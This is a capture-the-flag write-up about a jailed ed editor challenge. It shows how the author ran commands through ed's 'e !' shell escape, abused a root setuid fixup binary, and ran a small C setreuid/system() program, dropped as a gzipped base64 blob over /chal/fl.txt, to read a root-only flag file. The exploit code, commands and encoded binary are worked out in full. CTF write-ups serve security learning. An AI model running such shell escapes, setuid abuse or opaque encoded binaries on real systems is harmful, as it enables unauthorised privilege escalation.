After discovering that this challenge throws us into an instance of the ed
text editor,
we can start reading the documentation. Running info ed
and looking for available commands,
we can find the following section:
'e FILE'
Edits FILE, and sets the default filename. If FILE is not specified,
then the default filename is used. Any lines in the buffer are deleted
before the new file is read. The current address is set to the address
of the last line in the buffer.
If FILE is prefixed with a bang (!), then it is interpreted as a shell
command whose output is to be read, (*note shell escape command:: '!'
below). In this case the default filename is unchanged.
A warning is printed if any changes have been made in the buffer since
the last 'w' command that wrote the entire buffer to a file.
We discover that we can use the e
command to edit files, and also execute commands!
By looking at the challenge handout, we can identify that the flag is split into two parts
and two files: fl.txt
and ag.txt
.
j41lEd> e fl.txt
24
j41lEd> p
flagbot{h4lF_0f_th3_fl4
j41lEd> e ag.txt
ag.txt: Permission denied
We can get the first half of the flag, but have no access to the second half in ag.txt
. We can also verify that we can indeed
executte arbitrary commands:
j41lEd> e !id
54
j41lEd> p
uid=3777(edwald) gid=3777(edwald) groups=3777(edwald)
The commands that we can execute are all run as the user edwald
.
Since a privilege escalation step is required (as hinted at by the fact that the ag.txt
is only readable by the root user), we start looking for a typical privesc mechanism: setuid binaries.
We find the /fixup
-binary that gets built during the docker image creation.
j41lEd> e !ls -lah /fixup
j41lEd> p
---s--x--x 1 root root 16K Sep 30 19:21 /fixup
The fixup
-binary was built with the following code:
#include <sys/stat.h>
int main(){
/*
Make fl.txt readable...
*/
chmod("/chal/fl.txt", 04777);
/*
...but not ag.txt.
*/
chmod("/chal/ag.txt", 00600);
}
As we can see, this code will make another file have the setuid-bit
set (as specified by the 04777
mode): /chal/fl.txt
. This is required since writing to a file that has the setuid bit set will clear the setuid as a security measure. Since we can call /fixup
as many times as we want, we can modify /chal/fl.txt
and then re-apply the setuid bit.
I wrote a small c program to switch user id and then run our commands:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(void) {
fprintf( stderr, "Running exploit\n" );
setreuid(geteuid(), getuid());
fprintf( stderr, "euid: %d, uid: %d, gid: %d\n", geteuid(), getuid(), getgid());
// Will get run as the root user
system("cat /chal/ag.txt");
return 0;
}
Let’s compile it:
gcc -o exploit exploit.c
The only thing left to do is to transfer the file to the remote, run the /fixup
binary and then run /chal/fl.txt
. For an easier transfer, I gzipped and base64-encoded the file so I can copy and paste it:
cat exploit | gzip | base64 -w 0 > exploit.b64
On the remote, I simply base64 decoded and gunzipped the binary:
e !echo "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" | base64 -d | gunzip > /chal/fl.txt
e !/fixup
e !./fl.txt
?
j41lEd> Running exploit
euid: 3777, uid: 0, gid: 3777
44
j41lEd> p
g_41n__t_nuff_but_n0WwW_y0u_s33m_Ed_ucated}
We now have the complete flag!
flagbot{h4lF_0f_th3_fl4g_41n__t_nuff_but_n0WwW_y0u_s33m_Ed_ucated}